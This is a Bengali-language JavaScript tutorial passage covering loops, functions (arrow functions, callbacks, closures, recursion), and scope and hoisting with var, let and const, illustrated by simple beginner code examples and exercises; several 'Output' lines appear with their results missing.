let user = { name: "Shariar", age: 23, country: "Bangladesh" }; for (let key in user) { console.log(key, user[key]); }
এখানে:
user[key]
খুব important।
যদি:
key = "name"
তাহলে:
user["name"]
→ "Shariar"
for...in বনাম for...ofএটা beginnerদের সবচেয়ে common confusion-এর একটি।
for...in→ keys
let user = { name: "Shariar", age: 23 }; for (let key in user) { console.log(key); }
Output:
for...of→ values
let fruits = ["Apple", "Mango"]; for (let fruit of fruits) { console.log(fruit); }
Output:
for...in ব্যবহার করা উচিত?Technically করা যায়:
let fruits = ["Apple", "Banana", "Mango"]; for (let index in fruits) { console.log(index); }
Output:
কিন্তু Array-এর values iterate করার জন্য সাধারণত:
for...of
বা array methods বেশি appropriate।
এটা পরে Arrays chapter-এ বিস্তারিত দেখব।
একটি loop-এর ভিতরে আরেকটি loop থাকলে তাকে Nested Loop বলে।
Examplefor (let i = 1; i <= 3; i++) { for (let j = 1; j <= 3; j++) { console.log(i, j); } }
প্রথম outer loop:
তখন inner loop পুরোটা চলে:
তারপর:
আবার inner loop পুরোটা চলে।
ধরো একটি university-তে:
তাহলে:
for (let department = 1; department <= 3; department++) { for (let student = 1; student <= 3; student++) { console.log( `Department ${department}, Student ${student}` ); } }
Nested loop বুঝতে pattern printing খুব useful।
ExampleCode:
for (let i = 1; i <= 5; i++) { let pattern = ""; for (let j = 1; j <= i; j++) { pattern += "*"; } console.log(pattern); }
Code:
for (let i = 5; i >= 1; i--) { let pattern = ""; for (let j = 1; j <= i; j++) { pattern += "*"; } console.log(pattern); }
এটা web development-এর জন্য অত্যন্ত important।
let students = [ "Shariar", "Rahim", "Karim", "Hasan" ]; for (let student of students) { console.log(student); }
Real-world application:
React-এ পরে তুমি প্রায় একই ধরনের concept ব্যবহার করবে।
বাস্তব application-এ data সাধারণত এমন হয়:
let students = [ { name: "Shariar", age: 23 }, { name: "Rahim", age: 22 }, { name: "Karim", age: 24 } ];
Loop:
for (let student of students) { console.log(student.name); }
আর:
for (let student of students) { console.log( `${student.name} is ${student.age} years old.` ); }
এটাই পরে API data render করার basic idea।
let products = [ "Laptop", "Mouse", "Keyboard", "Monitor" ]; let search = "Keyboard"; for (let product of products) { if (product === search) { console.log("Product found!"); break; } }
let numbers = [10, 45, 23, 78, 12]; let max = numbers[0]; for (let number of numbers) { if (number > max) { max = number; } } console.log(max);
শেষে:
let numbers = [10, 45, 23, 78, 12]; let min = numbers[0]; for (let number of numbers) { if (number < min) { min = number; } } console.log(min);
ধরো array-তে কয়টি even number আছে।
let numbers = [1, 2, 4, 7, 8, 10, 13]; let count = 0; for (let number of numbers) { if (number % 2 === 0) { count++; } } console.log(count);
কারণ even numbers:
মোট:
break + continue একসাথেfor (let i = 1; i <= 10; i++) { if (i === 3) { continue; } if (i === 8) { break; } console.log(i); }
let দিয়ে loop variable তৈরি করলে সেটি সাধারণত loop block-এর মধ্যে সীমাবদ্ধ থাকে।
for (let i = 1; i <= 3; i++) { console.log(i); }
এর পরে:
console.log(i);
করলে error হবে:
কারণ i loop-এর বাইরে accessible নয়।
var এবং Loopপুরনো JavaScript-এ:
for (var i = 1; i <= 3; i++) { console.log(i); } console.log(i);
এখানে output:
কারণ var function-scoped।
এই কারণে modern JavaScript-এ সাধারণত loop variable-এর জন্য:
let
ব্যবহার করা হয়।
constfor...of-এ const খুব common:
let fruits = ["Apple", "Mango", "Banana"]; for (const fruit of fruits) { console.log(fruit); }
এখানে প্রতিটি iteration-এ নতুন fruit binding পাওয়া যায়।
JavaScript-এ loop-কে label দেওয়া যায়।
outerLoop: for (let i = 1; i <= 3; i++) { for (let j = 1; j <= 3; j++) { if (i === 2 && j === 2) { break outerLoop; } console.log(i, j); } }
এখানে:
break outerLoop;
শুধু inner loop নয়, পুরো outer loop-ও stop করেছে।
⚠️ এটি valid JavaScript, তবে normal code-এ খুব কম ব্যবহার করা হয়।
একটা practical guide:
for
Example:
for (let i = 0; i < 10; i++) {}
while
Example:
while (balance > 0) {}
do...while
for...of
for...in
Modern JavaScript-এ শুধু loop নয়, array methods-ও খুব গুরুত্বপূর্ণ।
যেমন:
map() filter() reduce() find() some() every() forEach()
এগুলো আমরা Arrays Chapter-এ বিস্তারিতভাবে শিখব।
উদাহরণ:
let numbers = [1, 2, 3]; numbers.forEach(function(number) { console.log(number); });
Output:
এখন শুধু জানবে:
forEach() একটি array method, traditional loop statement নয়।এবার Chapter 4 + Chapter 5-এর concept একসাথে ব্যবহার করি।
let students = [ { name: "Shariar", marks: 85 }, { name: "Rahim", marks: 72 }, { name: "Karim", marks: 58 }, { name: "Hasan", marks: 31 } ]; for (let student of students) { let grade; if (student.marks >= 80) { grade = "A+"; } else if (student.marks >= 70) { grade = "A"; } else if (student.marks >= 60) { grade = "A-"; } else if (student.marks >= 50) { grade = "B"; } else if (student.marks >= 40) { grade = "C"; } else { grade = "F"; } console.log( `${student.name} → ${student.marks} → ${grade}` ); }
🔥 এখানে তুমি একসাথে ব্যবহার করেছো:
পরবর্তী chapter-গুলোতে এগুলো আরও powerful হবে।
let cart = [ { name: "Keyboard", price: 1500 }, { name: "Mouse", price: 800 }, { name: "Headphone", price: 2000 } ]; let total = 0; for (let product of cart) { total += product.price; } console.log("Total:", total);
এটাই basic shopping cart-এর একটা core logic।
let products = [ "Laptop", "Keyboard", "Mouse", "Monitor", "Headphone" ]; let search = "Monitor"; let found = false; for (let product of products) { if (product === search) { found = true; break; } } if (found) { console.log("Product found."); } else { console.log("Product not found."); }
forfor (let i = 0; i < 5; i++) { console.log(i); }
whilelet i = 0; while (i < 5) { console.log(i); i++; }
do...whilelet i = 0; do { console.log(i); i++; } while (i < 5);
for...offor (let value of array) { console.log(value); }
for...infor (let key in object) { console.log(key); }
for loop-এর তিনটি অংশ কী?
while এবং do...while-এর পার্থক্য কী?
break কী করে?
continue কী করে?
for...of কী return করে?
for...in কী return করে?
for...of এবং for...in-এর পার্থক্য কী?
1 থেকে 100 পর্যন্ত print করো।
1 থেকে 50 পর্যন্ত সব even number print করো।
1 থেকে 50 পর্যন্ত সব odd number print করো।
1 থেকে 100 পর্যন্ত সব number-এর sum বের করো।
Expected:
যেকোনো একটি number-এর 1 থেকে 10 পর্যন্ত multiplication table তৈরি করো।
let numbers = [10, 55, 23, 89, 12, 67];
সবচেয়ে বড় number বের করো।
Expected:
একই array থেকে সবচেয়ে ছোট number বের করো।
Expected:
let students = [ "Shariar", "Rahim", "Karim", "Hasan", "Nabil" ];
Karim আছে কিনা check করো।
let numbers = [1, 2, 4, 7, 8, 11, 14, 20];
কয়টি even number আছে সেটা বের করো।
এই pattern তৈরি করো:
তারপর:
দুটোই নিজে code করার চেষ্টা করো।
এখন তোমার মাথায় এই flow-টা clear থাকা উচিত:
আর সবচেয়ে important:
পরের chapter-এ আমরা যাব Chapter 6 — Functions-এ। সেখানে JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ building blocks-এর একটি নিয়ে বিস্তারিত করব: Function কী, parameter, argument, return, function declaration/expression, arrow function, default parameter, rest parameter, callback function, higher-order function, scope, এবং practical functions।
JavaScript শেখার ক্ষেত্রে Function একটি অত্যন্ত গুরুত্বপূর্ণ concept। তুমি যদি JavaScript দিয়ে:
ইত্যাদি বানাতে চাও, তাহলে Function ভালোভাবে বুঝতেই হবে।
সহজভাবে:
ধরো তোমার বাসায় একটা washing machine আছে।
তুমি শুধু:
চাপ দিলে machine-এর ভিতরে অনেক কাজ automatically হয়।
Programming-এ function অনেকটা এমন:
ধরো আমাদের 3 জনের জন্য greeting দেখাতে হবে।
console.log("Hello Shariar"); console.log("Hello Rahim"); console.log("Hello Karim");
এটা কাজ করবে।
কিন্তু একই ধরনের কাজ অনেক জায়গায় করতে হলে code repeat করতে হবে।
function greet(name) { console.log("Hello " + name); } greet("Shariar"); greet("Rahim"); greet("Karim");
একবার function লিখেছি:
function greet(name) { console.log("Hello " + name); }
তারপর প্রয়োজন অনুযায়ী call করেছি:
greet("Shariar");
greet("Rahim");
greet("Karim");
এটাই Code Reusability।
function functionName(parameter) { // code }
উদাহরণ:
function greet(name) { console.log("Hello " + name); }
এখানে:
| অংশ | অর্থ |
|---|---|
function | Function declare করার keyword |
greet | Function-এর নাম |
name | Parameter |
{ } | Function body |
console.log() | Function-এর কাজ |
এটাকে বলা হয় Function Declaration।
function sayHello() { console.log("Hello World!"); }
এখন function তৈরি হয়েছে।
কিন্তু এখনো execute হয়নি।
Execute করতে হবে:
sayHello();
Function execute করাকে বলা হয়:
উদাহরণ:
function greet() { console.log("Hello!"); } greet();
এখানে:
greet();
হলো function call।
একটি function একবার লিখে অনেকবার ব্যবহার করা যায়।
function greet() { console.log("Hello!"); } greet(); greet(); greet();
Function-এর ভিতরে input নেওয়ার জন্য parameter ব্যবহার করি।
function greet(name) { console.log("Hello " + name); }
এখানে:
name
হলো parameter।
Function call করার সময় যে actual value পাঠানো হয় তাকে argument বলে।
greet("Shariar");
এখানে:
একটি function-এ একাধিক parameter থাকতে পারে।
function add(a, b) { console.log(a + b); } add(10, 20);
এখানে:
function introduce(name, age, country) { console.log( "Name:", name, "Age:", age, "Country:", country ); } introduce("Shariar", 23, "Bangladesh");
Function শুধু message print করার জন্য নয়।
function add(a, b) { console.log(a + b); } add(15, 25);
আর:
function multiply(a, b) { console.log(a * b); } multiply(5, 10);
returnFunction-এর সবচেয়ে গুরুত্বপূর্ণ বিষয়গুলোর একটি হলো return।
return ব্যবহার করে function থেকে কোনো value বাইরে পাঠানো যায়।
function add(a, b) { return a + b; } let result = add(10, 20); console.log(result);
এখানে:
return a + b;
মানে function result বাইরে পাঠিয়ে দিচ্ছে।
console.log() বনাম returnএটা খুব গুরুত্বপূর্ণ।
console.log()শুধু output console-এ দেখায়।
function add(a, b) { console.log(a + b); } let result = add(10, 20); console.log(result);
কারণ function কিছু return করেনি।
returnValue ফেরত দেয়।
function add(a, b) { return a + b; } let result = add(10, 20); console.log(result);
Output:
return Function Execution বন্ধ করেfunction test() { console.log("Before"); return; console.log("After"); } test();
return হওয়ার পর function আর নিচের code execute করে না।
function square(number) { return number * number; } let result = square(5); console.log(result);
function add(a, b) { return a + b; } let result = add(10, 20); console.log(result * 2);
কারণ:
function add(a, b) { return a + b; } function double(number) { return number * 2; } let result = double(add(10, 20)); console.log(result);
Step:
কখনো argument না দিলে default value ব্যবহার করতে চাই।
function greet(name = "Guest") { console.log("Hello " + name); } greet();
কিন্তু:
greet("Shariar");
Output:
function introduce( name = "Guest", country = "Unknown" ) { console.log(name, country); } introduce();
আর:
introduce("Shariar", "Bangladesh");
Output:
Function declaration ছাড়াও function variable-এর মধ্যে রাখা যায়।
const greet = function () { console.log("Hello!"); }; greet();
এটাকে বলা হয়:
function greet() { console.log("Hello"); }
const greet = function () { console.log("Hello"); };
দুটোই function।
কিন্তু syntax আলাদা।
Function declaration-এর একটি বিশেষ feature আছে।
তুমি function call আগে করলেও কাজ করতে পারে।
greet(); function greet() { console.log("Hello!"); }
কারণ function declaration hoisted হয়।
⚠️ Hoisting আমরা Scope & Hoisting chapter-এ বিস্তারিতভাবে দেখব।
greet(); const greet = function () { console.log("Hello!"); };
এটি কাজ করবে না এবং error হবে।
কারণ const variable initialization-এর আগে access করা যায় না।
Modern JavaScript-এ সবচেয়ে বেশি ব্যবহৃত syntaxগুলোর একটি হলো Arrow Function।
function add(a, b) { return a + b; }
const add = (a, b) => { return a + b; };
দুটোই:
return করবে।
যদি function body-তে শুধু একটি expression return করতে হয়:
const add = (a, b) => a + b;
এখানে:
return
লিখতে হয় না।
Exampleconst square = number => number * number; console.log(square(5));
একটি parameter থাকলে parentheses বাদ দেওয়া যায়।
const double = number => number * 2; console.log(double(5));
তবে parentheses দিয়েও লেখা যায়:
const double = (number) => number * 2;
দুটোই valid।
const greet = () => { console.log("Hello!"); }; greet();
const add = (a, b) => a + b; console.log(add(10, 20));
const calculate = (a, b) => { let sum = a + b; let result = sum * 2; return result; }; console.log(calculate(10, 20));
এখন পর্যন্ত আমরা দেখেছি:
function greet() { console.log("Hello"); }
const greet = function () { console.log("Hello"); };
const greet = () => { console.log("Hello"); };
যে function-এর কোনো নাম নেই তাকে Anonymous Function বলে।
const greet = function () { console.log("Hello"); };
এখানে function-এর নিজস্ব কোনো নাম নেই।
Function-টি greet variable-এর মধ্যে রাখা হয়েছে।
IIFE এমন function যেটা তৈরি হওয়ার সঙ্গে সঙ্গে execute হয়।
(function () { console.log("Hello!"); })();
এখানে function আলাদা করে call করা হয়নি।
তৈরি করার সঙ্গে সঙ্গেই execute হয়েছে।
(function (name) { console.log("Hello " + name); })("Shariar");
পুরনো JavaScript code-এ IIFE ব্যবহার করা হতো private scope তৈরি করার জন্য।
(function () { let secret = "12345"; console.log(secret); })();
secret বাইরে accessible হবে না।
Modern JavaScript-এ modules এবং block scope-এর কারণে IIFE আগের মতো বেশি প্রয়োজন হয় না, কিন্তু legacy code বুঝতে এটি জানা দরকার।
JavaScript-এ function শুধু function নয়, একটি value হিসেবেও ব্যবহার করা যায়।
const greet = function () { console.log("Hello"); };
এখানে function-টি variable-এর value।
এজন্য function-কে বলা হয়:
JavaScript-এ function:
const greet = function () { console.log("Hello"); }; const anotherFunction = greet; anotherFunction();
একটি function-এর argument হিসেবে আরেকটি function পাঠানো যায়।
function greet(name) { console.log("Hello " + name); } function processUser(callback) { callback("Shariar"); } processUser(greet);
এখানে:
greet
কে পাঠানো হয়েছে:
processUser(greet);
যে function-কে অন্য function-এর argument হিসেবে পাঠানো হয় তাকে Callback Function বলে।
function greet(name) { console.log("Hello " + name); } function processUser(callback) { callback("Shariar"); } processUser(greet);
এখানে:
greet হলো callback function।
ধরো restaurant-এ তুমি খাবার order দিলে।
Programming-এ:
function orderFood(callback) { console.log("Food ordered."); callback(); } function foodReady() { console.log("Food is ready!"); } orderFood(foodReady);
এটা asynchronous JavaScript বোঝার foundation।
function processUser(callback) { callback("Shariar"); } processUser((name) => { console.log("Hello " + name); });
যে function:
1. অন্য function গ্রহণ করে অথবা 2. অন্য function return করে
তাকে Higher-Order Function বলা হয়।
Examplefunction process(callback) { callback(); } process(() => { console.log("Hello"); });
process() একটি higher-order function।
কারণ এটি function argument হিসেবে গ্রহণ করছে।
function outer() { function inner() { console.log("Hello from inner"); } return inner; } const result = outer(); result();
এখানে outer() একটি function return করছে।
এটিও higher-order function-এর example।
এখানে আমরা closure-এর পুরো chapter করছি না, কিন্তু function-এর সঙ্গে এর connection বুঝে রাখো।
function outer() { let message = "Hello"; function inner() { console.log(message); } return inner; } const greet = outer(); greet();
outer() execute শেষ হওয়ার পরও inner() তার outer variable message access করতে পারছে।
এটাই Closure-এর basic idea।
Closure পরে আলাদা advanced chapter-এ বিস্তারিত হবে।
Function-এ কতগুলো argument আসবে জানা না থাকলে rest parameter ব্যবহার করা যায়।
Syntax:
function functionName(...values) {
}
function addAll(...numbers) { console.log(numbers); } addAll(10, 20, 30, 40);
...numbers সব arguments-কে একটি array-এর মধ্যে নিয়ে এসেছে।
function addAll(...numbers) { let sum = 0; for (let number of numbers) { sum += number; } return sum; } console.log(addAll(10, 20, 30, 40));
দুটো দেখতে একই:
...
কিন্তু কাজের জায়গা আলাদা।
Arguments collect করে:
function add(...numbers) { console.log(numbers); }
Values spread করে:
let numbers = [10, 20, 30]; console.log(...numbers);
Output:
এটা আমরা Destructuring, Spread & Rest chapter-এ আরও বিস্তারিত করব।
function add(a, b) { return a + b; } console.log(add(10));
কারণ:
তাই:
10 + undefined
→ NaN
function add(a, b = 0) { return a + b; } console.log(add(10));
function add(a, b) { return a + b; } console.log(add(10, 20, 30));
এখানে 10 → a
20 → b
30 কোনো parameter পায়নি।
JavaScript সাধারণভাবে extra arguments ignore করে, যদি না arguments বা rest parameter দিয়ে access করা হয়।
arguments ObjectTraditional function-এর ভিতরে arguments নামে একটি special object-like value থাকে।
function test(a, b) { console.log(arguments); } test(10, 20, 30);
এতে passed arguments দেখতে পারবে।
⚠️ Arrow function-এর নিজের arguments নেই।
Modern JavaScript-এ variable number of arguments-এর জন্য সাধারণত rest parameter:
function test(...args) { console.log(args); }
বেশি পরিষ্কার।
একটি function যদি:
তাহলে তাকে Pure Function বলা হয়।
Examplefunction add(a, b) { return a + b; }
সবসময় একই result।
যদি function বাইরের data পরিবর্তন করে বা external state-এর ওপর depend করে, তাহলে pure নয়।
let total = 0; function addToTotal(amount) { total += amount; }
Function বাইরের total পরিবর্তন করছে।
তাই এটি pure function নয়।
Function-এর ভিতরে declare করা variable সাধারণত function-এর বাইরে accessible নয়।
function test() { let message = "Hello"; console.log(message); } test();
কাজ করবে।
কিন্তু:
console.log(message);
করলে error হবে।
কারণ message function scope-এর ভিতরে।
Function-এর ভিতরে তৈরি variable-কে সাধারণভাবে local variable বলা হয়।
function calculate() { let result = 100; console.log(result); }
result বাইরে ব্যবহার করা যাবে না।
Function-এর বাইরে declare করা variable function-এর ভিতর থেকে access করা যায়।
let name = "Shariar"; function greet() { console.log(name); } greet();
Function বাইরের name access করতে পারছে।
function greet(name) { console.log(name); } greet("Shariar");
name function-এর local scope-এর অংশ।
Function-এর বাইরে:
console.log(name);
কাজ করবে না।
একটি function-এর output অন্য function-এর input হিসেবে ব্যবহার করা যায়।
function double(number) { return number * 2; } function addFive(number) { return number + 5; } let result = addFive(double(10)); console.log(result);
Step:
যখন একটি function নিজেকেই call করে তাকে Recursion বলে।
Examplefunction countdown(number) { if (number === 0) { return; } console.log(number); countdown(number - 1); } countdown(5);
এখানে:
countdown()
নিজেকেই call করছে।
Recursion-এ সবচেয়ে গুরুত্বপূর্ণ বিষয় হলো Base Case।
if (number === 0) { return; }
এটা না থাকলে function নিজেকে call করতেই থাকবে এবং eventually:
এর মতো error হতে পারে।
Mathematics:
JavaScript:
function factorial(n) { if (n === 1) { return 1; } return n * factorial(n - 1); } console.log(factorial(5));
Step:
ভালো:
calculateTotal()
খারাপ:
x()
ভালো:
calculateTotal()
আরেকটি:
validateUser()
এক function-এ সবকিছু ঢুকিয়ে না দেওয়া ভালো।
যদি একই code বারবার লিখতে হয়:
যেমন:
function doEverything() { // login // database // payment // email // UI // validation // ... }
এর বদলে ছোট ছোট function:
validateUser(); processPayment(); sendEmail(); updateUI();
function add(a, b) { return a + b; } function subtract(a, b) { return a - b; } function multiply(a, b) { return a * b; } function divide(a, b) { return a / b; } console.log(add(10, 5)); console.log(subtract(10, 5)); console.log(multiply(10, 5)); console.log(divide(10, 5));
এখানে calculator-এর প্রতিটি operation আলাদা function।
এটাই clean code-এর basic idea।
এবার function-এর ভিতরে switch ব্যবহার করি।
function calculate(a, b, operator) { switch (operator) { case "+": return a + b; case "-": return a - b; case "*": return a * b; case "/": return a / b; default: return "Invalid operator"; } } console.log(calculate(10, 5, "+")); console.log(calculate(10, 5, "*"));
🔥 এখানে আমরা Chapter 4 + Chapter 5 + Chapter 6 একসাথে ব্যবহার করেছি।
function calculateTotal(cart) { let total = 0; for (let product of cart) { total += product.price; } return total; } let cart = [ { name: "Keyboard", price: 1500 }, { name: "Mouse", price: 800 }, { name: "Headphone", price: 2000 } ]; let total = calculateTotal(cart); console.log("Total:", total);
এখানে:
সব একসাথে কাজ করছে।
এখন একটা function-এর পুরো lifecycle দেখো:
Example:
function add(a, b) { return a + b; } let result = add(10, 20);
Flow:
| Concept | Meaning |
|---|---|
| Function | Reusable block of code |
| Function Declaration | function greet() {} |
| Function Call | greet() |
| Parameter | Function-এর input variable |
| Argument | Function call-এর actual value |
return | Value ফেরত দেয় |
| Default Parameter | Default input value |
| Function Expression | Variable-এর মধ্যে function |
| Arrow Function | Short modern function syntax |
| Anonymous Function | নাম ছাড়া function |
| IIFE | Immediately executed function |
| Callback | Function passed to another function |
| Higher-Order Function | Function নেয়/return করে |
| Rest Parameter | Multiple arguments collect করে |
| Closure | Function outer scope remember করে |
| Recursion | Function নিজেকে call করে |
| Pure Function | Same input → same output |
| Local Variable | Function-এর ভিতরের variable |
| Global Variable | Outer/global scope-এর variable |
function greet(name) { return `Hello ${name}`; }
console.log(greet("Shariar"));
const greet = function(name) { return `Hello ${name}`; };
const greet = name => `Hello ${name}`;
function greet(name = "Guest") { return `Hello ${name}`; }
function add(...numbers) { // numbers is an array }
function process(callback) {
callback();
}
function add(a, b) { return a + b; }
return কী করে?
console.log() এবং return-এর মধ্যে পার্থক্য কী?
একটি function বানাও:
greet("Shariar");
Output:
add(10, 20);
Expected:
square(8);
Expected:
checkEvenOdd(10);
Expected:
findMax(10, 25, 15);
Expected:
একটি function বানাও:
calculate(20, 5, "+"); calculate(20, 5, "-"); calculate(20, 5, "*"); calculate(20, 5, "/");
Expected:
sum(10, 20, 30, 40, 50);
Expected:
একটি function বানাও যেখানে callback পাঠালে callback execute হবে।
factorial(5);
Expected:
এই data:
let cart = [ { name: "Laptop", price: 70000 }, { name: "Mouse", price: 1000 }, { name: "Keyboard", price: 2500 } ];
একটি function বানিয়ে total price বের করো।
Expected:
সবচেয়ে important flow:
আর JavaScript-এর function ecosystem:
Chapter 6-এর সবচেয়ে গুরুত্বপূর্ণ ৫টি বিষয়: parameter vs argument → return → arrow function → callback → higher-order function
এগুলো ভালোভাবে বুঝে গেলে পরের chapters-এর অনেক concept অনেক সহজ হয়ে যাবে।
Chapter 6-এ আমরা Functions শিখেছি। এখন JavaScript-এর খুব গুরুত্বপূর্ণ একটি বিষয় হলো Scope এবং Hoisting।
এই chapter ভালোভাবে বুঝলে পরবর্তীতে Closures, Modules, Async JavaScript, React, Node.js—সবকিছু বুঝতে অনেক সহজ হবে।
সহজভাবে:
ধরো একটি বিশ্ববিদ্যালয়ে:
JavaScript-এও variable-এর access একইভাবে সীমাবদ্ধ হতে পারে।
JavaScript-এ আমরা প্রধানত এগুলো দেখতে পাই:
যে variable কোনো function বা block-এর বাইরে declare করা হয়, সেটি সাধারণত Global Scope-এ থাকে।
Codelet name = "Shariar"; function showName() { console.log(name); } showName(); console.log(name);
let name = "Shariar";
এটি function-এর বাইরে আছে।
তাই function-এর ভেতর থেকেও:
console.log(name);
access করা যাচ্ছে।
Real-Life ExampleUniversity-এর notice board-এ যদি কোনো notice দেওয়া থাকে, তাহলে অনেক department-এর মানুষ সেটা দেখতে পারে।
ঠিক তেমনি global variable অনেক জায়গা থেকে accessible হতে পারে।
Global variable বেশি ব্যবহার করা ভালো practice নয়।
let username = "Ripon"; function changeName() { username = "Shariar"; } changeName(); console.log(username);
Function-এর ভিতর থেকে global variable পরিবর্তন হয়ে গেছে।
বড় application-এ এমন অনেক global variable থাকলে debugging কঠিন হয়ে যেতে পারে।
কোনো variable যদি function-এর ভিতরে declare করা হয়, তাহলে সেটি সাধারণত সেই function-এর মধ্যেই accessible।
function test() { let message = "Hello JavaScript"; console.log(message); } test();
কিন্তু:
function test() { let message = "Hello JavaScript"; } test(); console.log(message);
কারণ message function-এর বাইরে accessible নয়।
var এবং Function Scopevar হলো function-scoped।
function test() { var x = 10; if (true) { var x = 20; } console.log(x); } test();
কারণ var block scope মানে না।
{ } দ্বারা তৈরি block-এর ভিতরে থাকা scope-কে Block Scope বলা হয়।
উদাহরণ:
if (true) { let message = "Hello"; console.log(message); }
কিন্তু:
if (true) { let message = "Hello"; } console.log(message);
কারণ message শুধু ওই block-এর ভিতরে accessible।
let এবং const হলো Block Scopedif (true) { let a = 10; const b = 20; console.log(a); console.log(b); }
কিন্তু বাইরে:
console.log(a); console.log(b);
access করা যাবে না।
var vs let vs const| Feature | var | let | const |
|---|---|---|---|
| Scope | Function | Block | Block |
| Reassign | ✅ | ✅ | ❌ |
| Redeclare same scope | ✅ | ❌ | ❌ |
| Hoisted | ✅ | ✅* | ✅* |
| TDZ | ❌ | ✅ | ✅ |
* এখানে hoisting হয়, কিন্তু let/const declaration initialization-এর আগে access করা যায় না।
এটা আমরা একটু পরেই বিস্তারিত দেখব।
ধরো একটি company-তে:
Development department-এর private variable Marketing department সরাসরি ব্যবহার করতে পারবে না।
JavaScript:
{
let developer = "Ripon";
}
console.log(developer);
এখানে developer block-এর বাইরে পাওয়া যাবে না।
একটি scope-এর ভিতরে আরেকটি scope থাকতে পারে।
let university = "DIU"; function department() { let dept = "CSE"; function student() { let studentName = "Ripon"; console.log(university); console.log(dept); console.log(studentName); } student(); } department();
এখানে:
JavaScript কোনো variable খুঁজলে প্রথমে বর্তমান scope-এ খোঁজে।
না পেলে outer scope-এ যায়।
আবার না পেলে আরও outer scope-এ যায়।
এটাকে বলা হয়:
let university = "DIU"; function department() { let dept = "CSE"; function student() { let name = "Ripon"; console.log(name); console.log(dept); console.log(university); } student(); } department();
JavaScript name খুঁজবে:
ধরো তুমি তোমার room-এ একটি mobile খুঁজছো।
প্রথমে:
না পেলে:
তারপর:
JavaScript variable খোঁজার ক্ষেত্রেও একই ধরনের ধারণা কাজ করে।
Inner scope outer variable access করতে পারে।
let x = 10; function test() { let y = 20; console.log(x); console.log(y); } test();
কিন্তু outer scope inner variable access করতে পারে না।
function test() { let y = 20; } test(); console.log(y);
JavaScript-এর scope code কোথায় লেখা হয়েছে তার ওপর নির্ভর করে।
এটাকে বলা হয়:
let name = "Ripon"; function outer() { let university = "DIU"; function inner() { console.log(name); console.log(university); } inner(); } outer();
inner() function যেখানে লেখা হয়েছে, সেই জায়গার lexical environment অনুযায়ী সে outer variable access করতে পারে।
JavaScript lexical scope follow করে।
let x = "Global"; function show() { console.log(x); } function test() { let x = "Local"; show(); } test();
অনেকে ভাবতে পারে:
তাই show() local x পাবে।
কিন্তু তা নয়।
show() কোথায় defined হয়েছে সেটাই গুরুত্বপূর্ণ।
Outer scope এবং inner scope-এ একই নামের variable থাকলে inner variable outer variable-কে shadow করতে পারে।
let name = "Global"; function test() { let name = "Local"; console.log(name); } test(); console.log(name);
Function-এর ভিতরের:
let name = "Local";
outer:
let name = "Global";
কে shadow করেছে।
ধরো:
কোনো department-এর ভিতরে আবার:
Department-এর ভিতরে জিজ্ঞেস করলে local নাম পাওয়া যাবে।
let এবং var একসাথে কিছু scope situation-এ conflict করতে পারে।
let x = 10; { var x = 20; }
এটি error দেবে।
কারণ var block scope মানে না এবং একই scope binding conflict তৈরি করে।
এখন আসি JavaScript-এর খুব famous concept:
# 🚀 Hoisting
সহজ ভাষায়:
তাই কিছু ক্ষেত্রে declaration-এর আগে code লিখলেও JavaScript error না দিয়ে কাজ করতে পারে।
var Hoistingদেখো:
console.log(x); var x = 10;
এখানে error হয়নি।
Conceptually JavaScript এটাকে এমনভাবে দেখে:
var x; console.log(x); x = 10;
তাই প্রথমে x-এর value:
let Hoistingএবার:
console.log(x); let x = 10;
অনেকে বলে:
let hoist হয় না।"এটি পুরোপুরি accurate নয়।
let declaration-ও execution context তৈরি হওয়ার সময় binding পায়, কিন্তু initialization-এর আগে access করা যায় না।
এই সময়টাকে বলা হয়:
# Temporal Dead Zone — TDZ
TDZ হলো:
let বা const declaration শুরু হওয়ার আগের সেই সময়, যখন variable-কে access করলে error হয়।console.log(name); let name = "Ripon";
name declaration-এর আগে access করা হয়েছে।
তাই:
Declaration-এর আগে:
Declaration-এর পরে:
const এবং Hoistingconsole.log(age); const age = 23;
কারণ const-ও TDZ-এর মধ্যে থাকে declaration-এর আগে।
Function declaration hoisted হয়।
sayHello(); function sayHello() { console.log("Hello!"); }
এটি কাজ করে।
কিন্তু:
sayHello(); const sayHello = function () { console.log("Hello!"); };
কারণ এখানে sayHello একটি const variable-এর মধ্যে function রাখা হয়েছে।
var দিয়ে Function ExpressionsayHello(); var sayHello = function () { console.log("Hello!"); };
এখানে সাধারণত:
কারণ conceptually:
var sayHello; sayHello(); sayHello = function () { console.log("Hello!"); };
Call করার সময় sayHello-এর value এখনো function হয়নি।
varconsole.log(x); var x = 10;
Output:
letconsole.log(x); let x = 10;
Output:
constconsole.log(x); const x = 10;
Output:
hello(); function hello() { console.log("Hello"); }
Output:
এই দুইটা একই জিনিস নয়।
let age = 23;
এখানে:
= Declaration
আর:
= Initialization/Assignment
সহজভাবে:
varvar age = 23;
Conceptually:
var age; // declaration age = 23; // initialization
Hoisting-এর কারণে declaration অংশ আগে setup হয়।
var Redeclarationvar x = 10; var x = 20; console.log(x);
var একই scope-এ redeclare করতে পারে।
let Redeclarationlet x = 10; let x = 20;
একই scope-এ let redeclare করা যায় না।
const Redeclarationconst x = 10; const x = 20;
এটিও:
let Reassignmentlet age = 23; age = 24; console.log(age);
let reassign করা যায়।
const Reassignmentconst age = 23; age = 24;
কারণ const binding reassign করা যায় না।
const Object পরিবর্তন করা যায় কেন?এটা খুব গুরুত্বপূর্ণ।
const user = { name: "Ripon" }; user.name = "Shariar"; console.log(user.name);
কারণ const object-এর reference পরিবর্তন করতে দেয় না, কিন্তু object-এর property পরিবর্তন করা যায়।
এটা করা যাবে না:
const user = { name: "Ripon" }; user = { name: "Shariar" };
কারণ পুরো reference পরিবর্তন করা হচ্ছে।
কিন্তু:
user.name = "Shariar";
allowed।
let name = "Global"; if (true) { let name = "Block"; console.log(name); } console.log(name);
function test() { if (true) { var a = 10; let b = 20; } console.log(a); console.log(b); } test();
কারণ:
এখন একটি গুরুত্বপূর্ণ example:
var x = 10; function test() { console.log(x); var x = 20; console.log(x); } test();
অনেকে ভাবতে পারে প্রথম console.log(x) এ 10 আসবে।
কিন্তু output:
কেন?
কারণ function-এর ভিতরের:
var x;
hoisted হয়ে যায়।
Conceptually:
var x = 10; function test() { var x; console.log(x); x = 20; console.log(x); } test();
Output কী হবে?
var x = 10; function test() { console.log(x); var x = 20; } test();
Function scope-এর local x hoisted হয়েছে।
let দিয়ে একই Examplelet x = 10; function test() { console.log(x); let x = 20; } test();
কারণ local x TDZ-এর মধ্যে রয়েছে।
মনে রাখবে:
Inner scope সাধারণত outer scope access করতে পারে।
